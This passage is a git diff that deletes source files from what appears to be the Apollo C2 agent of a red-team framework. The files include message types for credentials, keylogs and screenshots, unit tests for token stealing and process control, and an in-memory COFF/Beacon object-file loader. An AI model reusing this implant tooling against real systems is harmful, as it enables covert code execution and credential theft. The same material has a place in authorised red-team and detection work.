index 3fe7268c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Types/MythicTypes.cs +++ /dev/null @@ -1,106 +0,0 @@ -using ApolloInterop.Enums.ApolloEnums; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Structs.MythicStructs; -using System; - -namespace ApolloInterop.Types -{ - public static class MythicTypes - { - public static Type GetMessageType(MessageType msg) - { - if (msg == MessageType.C2ProfileData) - { - return typeof(ApolloInterop.Structs.MythicStructs.C2ProfileData); - } - else if (msg == MessageType.Credential) - { - return typeof(Credential); - } - else if (msg == MessageType.RemovedFileInformation) - { - return typeof(RemovedFileInformation); - } - else if (msg == MessageType.FileInformation) - { - return typeof(FileInformation); - } - else if (msg == MessageType.FileBrowser) - { - return typeof(FileBrowser); - } - else if (msg == MessageType.EdgeNode) - { - return typeof(EdgeNode); - } - else if (msg == MessageType.SocksDatagram) - { - return typeof(SocksDatagram); - } - else if (msg == MessageType.Artifact) - { - return typeof(Artifact); - } - else if (msg == MessageType.TaskStatus) - { - return typeof(MythicTaskStatus); - } - else if (msg == MessageType.TaskResponse) - { - return typeof(MythicTaskResponse); - } - else if (msg == MessageType.Task) - { - return typeof(MythicTask); - } - else if (msg == MessageType.DelegateMessage) - { - return typeof(DelegateMessage); - } - else if (msg == MessageType.TaskingMessage) - { - return typeof(TaskingMessage); - } - else if (msg == MessageType.EKEHandshakeMessage) - { - return typeof(EKEHandshakeMessage); - } - else if (msg == MessageType.EKEHandshakeResponse) - { - return typeof(EKEHandshakeResponse); - } - else if (msg == MessageType.CheckinMessage) - { - return typeof(CheckinMessage); - } - else if (msg == MessageType.UploadMessage) - { - return typeof(UploadMessage); - } - else if (msg == MessageType.MessageResponse) - { - return typeof(MessageResponse); - } else if (msg == MessageType.DownloadMessage) - { - return typeof(DownloadMessage); - } else if (msg == MessageType.IPCCommandArguments) - { - return typeof(IPCCommandArguments); - } else if (msg == MessageType.ExecutePEIPCMessage) - { - return typeof(ExecutePEIPCMessage); - } - else if (msg == MessageType.ScreenshotInformation) - { - return typeof(ScreenshotInformation); - } else if (msg == MessageType.KeylogInformation) - { - return typeof(KeylogInformation); - } - else - { - throw new Exception($"Invalid MessageType: {msg}"); - } - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Utils/DebugHelp.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Utils/DebugHelp.cs deleted file mode 100644 index a66b392e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Utils/DebugHelp.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System; -using System.Diagnostics; -using System.IO; - -namespace ApolloInterop.Utils -{ - public static class DebugHelp - { - // This method will only be called in debug mode, allows an easier way to only print messages to the console during debug without needing if directives everywhere - [Conditional("DEBUG")] - public static void DebugWriteLine(string? message) - { - Console.WriteLine(message); - } - - // debug only method to write to the log file - [Conditional("DEBUG")] - public static void WriteToLogFile(string? message) - { - string path = @"C:\Windows\System32\Tasks\ApolloInteropLog.txt"; - if (!File.Exists(path)) - { - File.Create(path).Close(); - } - if (File.Exists(path)) - { - File.AppendAllText(path, message + Environment.NewLine); - } - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Utils/PathUtils.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Utils/PathUtils.cs deleted file mode 100644 index 72adfd18..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Utils/PathUtils.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Linq; - -namespace ApolloInterop.Utils -{ - public static class PathUtils - { - /// - /// Gets the exact case used on the file system for an existing file or directory. - /// - /// A relative or absolute path. - /// The full path using the correct case if the path exists. Otherwise, null. - /// True if the exact path was found. False otherwise. - /// - /// This supports drive-lettered paths and UNC paths, but a UNC root - /// will be returned in title case (e.g., \\Server\Share). - /// - public static bool TryGetExactPath(string path, out string exactPath) - { - bool result = false; - exactPath = null; - if (path.EndsWith(":")) - { - path = path + "\\"; - } - // DirectoryInfo accepts either a file path or a directory path, and most of its properties work for either. - // However, its Exists property only works for a directory path. - DirectoryInfo directory = new DirectoryInfo(path); - if (File.Exists(path) || directory.Exists) - { - List parts = new List(); - - DirectoryInfo parentDirectory = directory.Parent; - while (parentDirectory != null) - { - FileSystemInfo entry = parentDirectory.EnumerateFileSystemInfos(directory.Name).First(); - parts.Add(entry.Name); - - directory = parentDirectory; - parentDirectory = directory.Parent; - } - - // Handle the root part (i.e., drive letter or UNC \\server\share). - string root = directory.FullName; - if (root.Contains(':')) - { - root = root.ToUpper(); - } - else - { - string[] rootParts = root.Split('\\'); - root = string.Join("\\", rootParts.Select(part => CultureInfo.CurrentCulture.TextInfo.ToTitleCase(part))); - } - - parts.Add(root); - parts.Reverse(); - exactPath = Path.Combine(parts.ToArray()); - result = true; - } - - return result; - } - - public static string StripPathOfHost(string path) - { - if (path.StartsWith(@"\\")) - { - return new string(path.Skip(path.IndexOf('\\', 2) + 1).ToArray()); - } - return path; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Utils/RecordExtensions.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Utils/RecordExtensions.cs deleted file mode 100644 index 7fda6a53..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Utils/RecordExtensions.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System; -using System.Text; - -namespace ApolloInterop.Utils; - -public static class RecordExtensions -{ - public static string ToIndentedString(this string recordString) - { - if (string.IsNullOrWhiteSpace(recordString)) - return recordString; - - var sb = new StringBuilder(); - var parts = recordString.Split(new[] { '{' }, StringSplitOptions.RemoveEmptyEntries); - - - //get the type name from parts[0] - var recordName = parts[0].Trim(); - //add the type name to the string builder - sb.AppendLine(); - sb.AppendLine(recordName); - sb.AppendLine("{"); - - //remove the } from the last part and update the last part - string body = parts[^1].Trim().TrimEnd('}'); - - var trimmedPart = body.Trim(); - var propertyValues = trimmedPart.Split(new[] { ',' }); - - for (int i = 0; i < propertyValues.Length; i++) - { - var trimmedropertyLine = propertyValues[i].Trim(); - if (trimmedropertyLine.Contains("=")) - { - //after the first property we need a line break so each property = value pair is on a new line - if (i > 0) - { - sb.AppendLine(); - } - sb.Append($"\t{trimmedropertyLine}, "); - } - else - { - sb.Append($"{trimmedropertyLine}, "); - } - } - sb.AppendLine(); - sb.AppendLine("}"); - - return sb.ToString(); - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Utils/RegistryUtils.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Utils/RegistryUtils.cs deleted file mode 100644 index c0e665f8..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Utils/RegistryUtils.cs +++ /dev/null @@ -1,34 +0,0 @@ -using Microsoft.Win32; -using System; - -namespace ApolloInterop.Utils -{ - public static class RegistryUtils - { - public static RegistryKey GetRegistryKey(string hive, string subkey, bool forWriting) - { - RegistryKey regKey; - switch (hive) - { - case "HKU": - regKey = Registry.Users.OpenSubKey(subkey, forWriting); - break; - case "HKCC": - regKey = Registry.CurrentConfig.OpenSubKey(subkey, forWriting); - break; - case "HKCU": - regKey = Registry.CurrentUser.OpenSubKey(subkey, forWriting); - break; - case "HKLM": - regKey = Registry.LocalMachine.OpenSubKey(subkey, forWriting); - break; - case "HKCR": - regKey = Registry.ClassesRoot.OpenSubKey(subkey, forWriting); - break; - default: - throw new Exception($"Unknown registry hive: {hive}"); - } - return regKey; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/packages.config b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/packages.config deleted file mode 100644 index 2634f65c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloTest/ApolloTest.csproj b/Payload_Type/apollo/apollo/agent_code/ApolloTest/ApolloTest.csproj deleted file mode 100644 index 38e9e629..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloTest/ApolloTest.csproj +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - Debug - AnyCPU - {9DE03129-49F2-4B81-B7B8-490A9D74E764} - Library - Properties - ApolloTest - ApolloTest - v4.5 - 512 - {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} - 15.0 - $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion) - $(ProgramFiles)\Common Files\microsoft shared\VSTT\$(VisualStudioVersion)\UITestExtensionPackages - False - UnitTest - - - - - - - - 15.0 - - - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - false - x64 - - - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - false - - - - ..\packages\MSTest.TestFramework.1.3.2\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.dll - - - ..\packages\MSTest.TestFramework.1.3.2\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll - - - - - - - - - - - - - - {d14e4a53-b9b5-4563-8290-ba8487575255} - Apollo - - - - - - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloTest/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/ApolloTest/Properties/AssemblyInfo.cs deleted file mode 100644 index 4c21588e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloTest/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: AssemblyTitle("ApolloTest")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("ApolloTest")] -[assembly: AssemblyCopyright("Copyright © 2020")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -[assembly: ComVisible(false)] - -[assembly: Guid("9de03129-49f2-4b81-b7b8-490a9d74e764")] - -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloTest/TaskTests.cs b/Payload_Type/apollo/apollo/agent_code/ApolloTest/TaskTests.cs deleted file mode 100644 index 70e506c9..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloTest/TaskTests.cs +++ /dev/null @@ -1,272 +0,0 @@ -using System; -using System.Collections.Generic; -using Apollo; -using Apollo.Jobs; -using Apollo.Tasks; -using Microsoft.VisualStudio.TestTools.UnitTesting; - -namespace ApolloTests -{ - [TestClass] - public class TaskTests - { - // This method requires a file named test.txt in C:\Users\Public - // It expects the file contents to be "test file" - [TestMethod] - public void CatTest() - { - if (!System.IO.File.Exists("C:\\Users\\Public\\test.txt")) - { - using (System.IO.FileStream fs = System.IO.File.Create("C:\\Users\\Public\\test.txt")) - { - using (System.IO.StreamWriter sw = new System.IO.StreamWriter(fs)) - { - sw.WriteLine("test file"); - } - } - } - Task task = new Task("cat", "C:\\Users\\Public\\test.txt", "1"); - Job job = new Job(task, null); - Cat.Execute(job, null); - // Ensure the task is marked complete - Assert.IsTrue(task.status == "complete"); - // Ensure the output matches expected output from the test file - Assert.AreEqual("test file", task.message); - } - [TestMethod] - public void CatTestInvalid() - { - Task task = new Task("cat", "C:\\balahsdghaseter.txt", "1"); - Job job = new Job(task, null); - Cat.Execute(job, null); - // Ensure the task is marked complete - Assert.IsTrue(task.status == "error"); - } - [TestMethod] - public void CdTest() - { - // Ensure we're in a different directory - System.IO.Directory.SetCurrentDirectory("C:\\"); - Task task = new Task("cd", "C:\\Users\\Public", "1"); - Job job = new Job(task, null); - ChangeDir.Execute(job, null); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "complete"); - // Ensure the current working directory has changed - Assert.AreEqual("C:\\Users\\Public", Environment.CurrentDirectory); - // Change working directory back - System.IO.Directory.SetCurrentDirectory("C:\\"); - } - [TestMethod] - public void CdTestInvalid() - { - // Ensure we're in a different directory - System.IO.Directory.SetCurrentDirectory("C:\\"); - Task task = new Task("cd", "C:\\asdfasdthetherhasdf", "1"); - Job job = new Job(task, null); - ChangeDir.Execute(job, null); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "error"); - // Change working directory back - System.IO.Directory.SetCurrentDirectory("C:\\"); - } - [TestMethod] - public void CopyTest() - { - if (System.IO.File.Exists("C:\\Users\\Public\\test2.txt")) - System.IO.File.Delete("C:\\Users\\Public\\test2.txt"); - Task task = new Task("cp", "C:\\Users\\Public\\test.txt C:\\Users\\Public\\test2.txt", "1"); - Job job = new Job(task, null); - Copy.Execute(job, null); - // Ensure that task is marked complete - Assert.IsTrue(task.status == "complete"); - // Ensure the file exists - Assert.IsTrue(System.IO.File.Exists("C:\\Users\\Public\\test2.txt")); - System.IO.File.Delete("C:\\Users\\Public\\test2.txt"); - } - [TestMethod] - public void CopyTestInvalid() - { - if (System.IO.File.Exists("C:\\Users\\Public\\test3.txt")) - System.IO.File.Delete("C:\\Users\\Public\\test3.txt"); - Task task = new Task("cp", "C:\\asdfasdfathethiethzscgvnbzxg.aste C:\\Users\\Public\\test3.txt", "1"); - Job job = new Job(task, null); - Copy.Execute(job, null); - // Ensure that task is marked complete - Assert.IsTrue(task.status == "error"); - } - [TestMethod] - public void DirListTest() - { - Task task = new Task("ls", "C:\\", "1"); - Job job = new Job(task, null); - DirectoryList.Execute(job, null); - Console.WriteLine(task.message.GetType()); - // Ensure that task is marked complete - Assert.IsTrue(task.status == "complete"); - // Ensure we have the right type of output in the task message - Assert.AreEqual(true, (task.message is List)); - } - [TestMethod] - public void DirListTestInvalid() - { - Task task = new Task("ls", "C:\\ethetrhehtet", "1"); - Job job = new Job(task, null); - DirectoryList.Execute(job, null); - Console.WriteLine(task.message.GetType()); - // Ensure that task is marked complete - Assert.IsTrue(task.status == "error"); - } - // Not sure how to test download properly because it requires agent connectivity - // Also not going to test exit here - // TODO: Figure out how to test Jobs - [TestMethod] - public void KillTest() - { - int procId = System.Diagnostics.Process.Start("notepad.exe").Id; - System.Diagnostics.Process proc = System.Diagnostics.Process.GetProcessById(procId); - Assert.IsTrue(!proc.HasExited); - Task task = new Task("kill", $"{procId}", "1"); - Job job = new Job(task, null); - Kill.Execute(job, null); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "complete"); - // Make sure the process is dead - Assert.IsTrue(proc.HasExited); - } - [TestMethod] - public void KillTestInvalid() - { - Task task = new Task("kill", "1111111111", "1"); - Job job = new Job(task, null); - Kill.Execute(job, null); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "error"); - } - [TestMethod] - public void PowerShellTest() - { - string command = "Get-Process -Name explorer"; - Task task = new Task("powershell", command, "1"); - Job job = new Job(task, null); - PowerShellManager.Execute(job, new Agent(default)); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "complete"); - // Check to make sure we have expected output - Assert.AreEqual(true, (task.message.ToString().Contains("ProcessName"))); - } - [TestMethod] - public void PowerShellTestInvalid() - { - string command = "Get-AFDSADSHETHWET"; - Task task = new Task("powershell", command, "1"); - Job job = new Job(task, null); - PowerShellManager.Execute(job, new Agent(default)); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "complete"); - // Check to make sure we have expected output - Assert.AreEqual(true, (task.message.ToString().Contains("ERROR"))); - } - [TestMethod] - public void PwdTest() - { - Task task = new Task("pwd", null, "1"); - Job job = new Job(task, null); - PrintWorkingDirectory.Execute(job, null); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "complete"); - // Check to make sure output contains C:\ - Assert.AreEqual(true, (task.message.ToString().Contains("C:\\"))); - } - [TestMethod] - public void ProcessTest() - { - Agent agent = new Agent(default); - Task task = new Task("run", "whoami /priv", "1"); - Job job = new Job(task, agent); - Apollo.Tasks.Process.Execute(job, agent); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "complete"); - // Check to see if output contains PRIVILEGES - Assert.AreEqual(true, (task.message.ToString().Contains("Process executed"))); - } - [TestMethod] - public void ProcessTestInvalid() - { - Agent agent = new Agent(default); - Task task = new Task("run", "blah /asdf", "1"); - Job job = new Job(task, agent); - Apollo.Tasks.Process.Execute(job, agent); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "error"); - } - [TestMethod] - public void ProcessListTest() - { - Task task = new Task("ps", null, "1"); - Job job = new Job(task, null); - Apollo.Tasks.ProcessList.Execute(job, null); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "complete"); - // Ensure we have the correct type of output - Assert.IsTrue(task.message is List); - } - [TestMethod] - public void RemoveTest() - { - System.IO.File.Copy("C:\\Users\\Public\\test.txt", "C:\\Users\\Public\\asdfasdf.txt"); - Task task = new Task("rm", "C:\\Users\\Public\\asdfasdf.txt", "1"); - Job job = new Job(task, null); - Apollo.Tasks.Remove.Execute(job, null); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "complete"); - // Ensure we have the correct type of output - Assert.IsFalse(System.IO.File.Exists("C:\\Users\\Public\\asdfasdf.txt")); - } - [TestMethod] - public void StealTokenTest() - { - Agent agent = new Agent(default); - Task task = new Task("steal_token", null, "1"); - Job job = new Job(task, agent); - Token.Execute(job, agent); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "complete"); - // Ensure the agent has a stolen token handle - Assert.IsTrue(agent.HasAlternateToken()); - Token.stolenHandle = IntPtr.Zero; - } - [TestMethod] - public void StealTokenTestInvalid() - { - Agent agent = new Agent(default); - Task task = new Task("steal_token", "1351251251", "1"); - Job job = new Job(task, agent); - Token.Execute(job, agent); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "error"); - // Ensure the agent does not have a stolen token handle - Assert.IsFalse(agent.HasAlternateToken()); - } - [TestMethod] - public void RevertTokenTest() - { - Agent agent = new Agent(default); - Task task = new Task("steal_token", null, "1"); - Job job = new Job(task, agent); - Token.Execute(job, agent); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "complete"); - // Ensure the agent has a stolen token handle - Assert.IsTrue(agent.HasAlternateToken()); - - task = new Task("rev2self", null, "1"); - job = new Job(task, agent); - Token.Execute(job, agent); - // Ensure the task is marked as complete - Assert.IsTrue(task.status == "complete"); - // Ensure the agent does not have a stolen token handle - Assert.IsFalse(agent.HasAlternateToken()); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloTest/packages.config b/Payload_Type/apollo/apollo/agent_code/ApolloTest/packages.config deleted file mode 100644 index d2da0eb1..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloTest/packages.config +++ /dev/null @@ -1,5 +0,0 @@ - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/COFFLoader.dll b/Payload_Type/apollo/apollo/agent_code/COFFLoader.dll deleted file mode 100644 index d1c32a91..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/COFFLoader.dll and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/COFFLoader/COFFLoader.c b/Payload_Type/apollo/apollo/agent_code/COFFLoader/COFFLoader.c deleted file mode 100755 index d2ca3c12..00000000 --- a/Payload_Type/apollo/apollo/agent_code/COFFLoader/COFFLoader.c +++ /dev/null @@ -1,632 +0,0 @@ -/* - * COFF Loader Project - * ------------------- - * This is a re-implementation of a COFF loader, with a BOF compatibility layer - * it's meant to provide functional example of loading a COFF file in memory - * and maybe be useful. - */ -#include -#include -#include -#include -#include -#include - -#if defined(_WIN32) -#include - -#endif -#include "beacon_compatibility.h" -#include "COFFLoader.h" - - /* Enable or disable debug output if testing or adding new relocation types */ -#ifdef DEBUG -#define DEBUG_PRINT(x, ...) printf(x, ##__VA_ARGS__) -#else -#define DEBUG_PRINT(x, ...) -#endif - -/* Defining symbols for the OS version, will try to define anything that is - * different between the arch versions by specifying them here. */ -#if defined(__x86_64__) || defined(_WIN64) -#define PREPENDSYMBOLVALUE "__imp_" -#else -#define PREPENDSYMBOLVALUE "__imp__" -#endif - -#define COFFLOADER_RETURN_VAL_IF(expr, val, fmt, ...) if ((expr)) { DEBUG_PRINT(fmt, ##__VA_ARGS__); return val; } - -__declspec(dllexport) unsigned char* Unhexlify(unsigned char* value, int *outlen) { - unsigned char* retval = NULL; - char byteval[3] = { 0 }; - unsigned int counter = 0; - int counter2 = 0; - char character = 0; - if (value == NULL) { - return NULL; - } - DEBUG_PRINT("Unhexlify Strlen: %lu\n", (long unsigned int)strlen((char*)value)); - if (strlen((char*)value) % 2 != 0) { - DEBUG_PRINT("Either value is NULL, or the hexlified string isn't valid\n"); - goto errcase; - } - - retval = calloc(strlen((char*)value) + 1, 1); - if (retval == NULL) { - goto errcase; - } - - counter2 = 0; - for (counter = 0; counter < strlen((char*)value); counter += 2) { - memcpy(byteval, value + counter, 2); - character = (char)strtol(byteval, NULL, 16); - memcpy(retval + counter2, &character, 1); - counter2++; - } - *outlen = counter2; - -errcase: - return retval; -} - -static BOOL starts_with(const char* string, const char* substring) { - return strncmp(string, substring, strlen(substring)) == 0; -} - -/* Helper function to process a symbol string, determine what function and - * library its from, and return the right function pointer. Will need to - * implement in the loading of the beacon internal functions, or any other - * internal functions you want to have available. */ -void* process_symbol(char* symbolstring) { - void* functionaddress = NULL; - char localcopy[1024] = { 0 }; - char* locallib = NULL; - char* localfunc = NULL; -#if defined(_WIN32) - int tempcounter = 0; - HMODULE llHandle = NULL; -#endif - - strncpy(localcopy, symbolstring, sizeof(localcopy) - 1); - if (starts_with(symbolstring, PREPENDSYMBOLVALUE"Beacon") || starts_with(symbolstring, PREPENDSYMBOLVALUE"toWideChar") || - starts_with(symbolstring, PREPENDSYMBOLVALUE"GetProcAddress") || starts_with(symbolstring, PREPENDSYMBOLVALUE"LoadLibraryA") || - starts_with(symbolstring, PREPENDSYMBOLVALUE"GetModuleHandleA") || starts_with(symbolstring, PREPENDSYMBOLVALUE"FreeLibrary") || - starts_with(symbolstring, "__C_specific_handler")) { - if(strcmp(symbolstring, "__C_specific_handler") == 0) - { - localfunc = symbolstring; - return InternalFunctions[29][1]; - } - else - { - localfunc = symbolstring + strlen(PREPENDSYMBOLVALUE); - } - DEBUG_PRINT("\t\tInternalFunction: %s\n", localfunc); - /* TODO: Get internal symbol here and set to functionaddress, then - * return the pointer to the internal function*/ -#if defined(_WIN32) - for (tempcounter = 0; tempcounter < 30; tempcounter++) { - if (InternalFunctions[tempcounter][0] != NULL) { - if (starts_with(localfunc, (char*)(InternalFunctions[tempcounter][0]))) { - functionaddress = (void*)InternalFunctions[tempcounter][1]; - return functionaddress; - } - } - } -#endif - } - else if (strncmp(symbolstring, PREPENDSYMBOLVALUE, strlen(PREPENDSYMBOLVALUE)) == 0) { - DEBUG_PRINT("\t\tYep its an external symbol\n"); - locallib = localcopy + strlen(PREPENDSYMBOLVALUE); - - locallib = strtok(locallib, "$"); - localfunc = strtok(NULL, "$"); - DEBUG_PRINT("\t\tLibrary: %s\n", locallib); - localfunc = strtok(localfunc, "@"); - DEBUG_PRINT("\t\tFunction: %s\n", localfunc); - /* Resolve the symbols here, and set the functionpointervalue */ -#if defined(_WIN32) - llHandle = LoadLibraryA(locallib); - DEBUG_PRINT("\t\tHandle: 0x%lx\n", llHandle); - functionaddress = GetProcAddress(llHandle, localfunc); - DEBUG_PRINT("\t\tProcAddress: 0x%p\n", functionaddress); -#endif - } - return functionaddress; -} - -static bool coff_symbol_is_defined(struct coff_sym *symbol) { - return symbol->SectionNumber > 0; -} - -static bool coff_symbol_is_external(struct coff_sym *symbol) { - return symbol->StorageClass == IMAGE_SYM_CLASS_EXTERNAL - || symbol->StorageClass == IMAGE_SYM_CLASS_EXTERNAL_DEF; -} - -/* Just a generic runner for testing, this is pretty much just a reference - * implementation, return values will need to be checked, more relocation - * types need to be handled, and needs to have different arguments for use - * in any agent. */ -__declspec(dllexport) int RunCOFF(char* functionname, unsigned char* coff_data, uint32_t filesize, unsigned char* argumentdata, int argumentSize) { - coff_sect_t *coff_sect_ptr = NULL; - coff_reloc_t *coff_reloc_ptr = NULL; - int retcode = 0; - int counter = 0; - int reloccount = 0; - unsigned int tempcounter = 0; - char *symbol_name = NULL; - - COFFLOADER_RETURN_VAL_IF(functionname == NULL, 1, "Function name is NULL\n"); - COFFLOADER_RETURN_VAL_IF(coff_data == NULL, 1, "Can't execute NULL\n"); - COFFLOADER_RETURN_VAL_IF(filesize == 0, 1, "COFF file size is 0\n"); - COFFLOADER_RETURN_VAL_IF(filesize < sizeof(struct coff_file_header), 1, - "COFF file size too small for a COFF file header\n"); - - struct coff_file_header *coff_header_ptr = (struct coff_file_header*)coff_data; - - COFFLOADER_RETURN_VAL_IF(coff_header_ptr->PointerToSymbolTable < sizeof(struct coff_file_header), - 1, "COFF symbol table offset is inside the file header\n"); - COFFLOADER_RETURN_VAL_IF(filesize < coff_header_ptr->PointerToSymbolTable, 1, - "COFF symbol table offset exceeds file size\n"); - - // Byte index of the strtab/end of symtab - size_t coff_strtab_index = - coff_header_ptr->PointerToSymbolTable + coff_header_ptr->NumberOfSymbols * sizeof(struct coff_sym); - - COFFLOADER_RETURN_VAL_IF(filesize < coff_strtab_index, 1, "COFF symbol table exceeds COFF file size\n"); - COFFLOADER_RETURN_VAL_IF(filesize < coff_strtab_index + sizeof(uint32_t), 1, - "COFF string table offset exceeds COFF file size\n"); - - uint32_t coff_strtab_size = *(uint32_t*)(coff_data + coff_strtab_index); - - COFFLOADER_RETURN_VAL_IF(filesize < coff_strtab_index + coff_strtab_size, 1, - "COFF string table exceeds COFF file size\n"); - COFFLOADER_RETURN_VAL_IF(filesize != coff_strtab_index + coff_strtab_size, 1, - "COFF file contains extraneous data\n"); - - struct coff_sym *coff_sym_ptr = (struct coff_sym*)(coff_data + coff_header_ptr->PointerToSymbolTable); - -#ifdef _WIN32 - void* funcptrlocation = NULL; - size_t offsetvalue = 0; -#endif - char* entryfuncname = functionname; -#if defined(__x86_64__) || defined(_WIN64) -#ifdef _WIN32 - uint64_t longoffsetvalue = 0; -#endif -#else - /* Set the input function name to match the 32 bit version */ - entryfuncname = calloc(strlen(functionname) + 2, 1); - if (entryfuncname == NULL) { - return 1; - } - (void)sprintf(entryfuncname, "_%s", functionname); -#endif - HMODULE kern = GetModuleHandleA("kernel32.dll"); - InternalFunctions[29][1] = (unsigned char *) GetProcAddress(kern, "__C_specific_handler"); - DEBUG_PRINT("found address of %x\n", InternalFunctions[29][1]); -#ifdef _WIN32 - /* NOTE: I just picked a size, look to see what is max/normal. */ - char** sectionMapping = NULL; -#ifdef DEBUG - int *sectionSize = NULL; -#endif - void(*foo)(char* in, unsigned long datalen); - void **functionMapping = NULL; - int functionMappingCount = 0; - int relocationCount = 0; -#endif - /* Buffer to hold the symbol short name if the symbol has no trailing NULL byte */ - char symbol_shortname_buffer[9] = {0}; - - DEBUG_PRINT("Machine 0x%X\n", coff_header_ptr->Machine); - DEBUG_PRINT("Number of sections: %d\n", coff_header_ptr->NumberOfSections); - DEBUG_PRINT("TimeDateStamp : %X\n", coff_header_ptr->TimeDateStamp); - DEBUG_PRINT("PointerToSymbolTable : 0x%X\n", coff_header_ptr->PointerToSymbolTable); - DEBUG_PRINT("NumberOfSymbols: %u\n", coff_header_ptr->NumberOfSymbols); - DEBUG_PRINT("OptionalHeaderSize: %d\n", coff_header_ptr->SizeOfOptionalHeader); - DEBUG_PRINT("Characteristics: %d\n", coff_header_ptr->Characteristics); - DEBUG_PRINT("\n"); - /* Actually allocate an array to keep track of the sections */ - sectionMapping = (char**)calloc(sizeof(char*)*(coff_header_ptr->NumberOfSections+1), 1); -#ifdef DEBUG - sectionSize = (int*)calloc(sizeof(int)*(coff_header_ptr->NumberOfSections+1), 1); -#endif - if (sectionMapping == NULL){ - DEBUG_PRINT("Failed to allocate sectionMapping\n"); - goto cleanup; - } - - /* Handle the allocation and copying of the sections we're going to use - * for right now I'm just VirtualAlloc'ing memory, this can be changed to - * other methods, but leaving that up to the person implementing it. */ - for (counter = 0; counter < coff_header_ptr->NumberOfSections; counter++) { - coff_sect_ptr = (coff_sect_t*)(coff_data + sizeof(coff_file_header_t) + (sizeof(coff_sect_t) * counter)); - DEBUG_PRINT("Name: %s\n", coff_sect_ptr->Name); - DEBUG_PRINT("VirtualSize: 0x%X\n", coff_sect_ptr->VirtualSize); - DEBUG_PRINT("VirtualAddress: 0x%X\n", coff_sect_ptr->VirtualAddress); - DEBUG_PRINT("SizeOfRawData: 0x%X\n", coff_sect_ptr->SizeOfRawData); - DEBUG_PRINT("PointerToRelocations: 0x%X\n", coff_sect_ptr->PointerToRelocations); - DEBUG_PRINT("PointerToRawData: 0x%X\n", coff_sect_ptr->PointerToRawData); - DEBUG_PRINT("NumberOfRelocations: %d\n", coff_sect_ptr->NumberOfRelocations); - relocationCount += coff_sect_ptr->NumberOfRelocations; - /* NOTE: When changing the memory loading information of the loader, - * you'll want to use this field and the defines from the Section - * Flags table of Microsofts page, some defined in COFFLoader.h */ - DEBUG_PRINT("Characteristics: %x\n", coff_sect_ptr->Characteristics); -#ifdef _WIN32 - DEBUG_PRINT("Allocating 0x%x bytes\n", coff_sect_ptr->VirtualSize); - /* NOTE: Might want to allocate as PAGE_READWRITE and VirtualProtect - * before execution to either PAGE_READWRITE or PAGE_EXECUTE_READ - * depending on the Section Characteristics. Parse them all again - * before running and set the memory permissions. */ - sectionMapping[counter] = 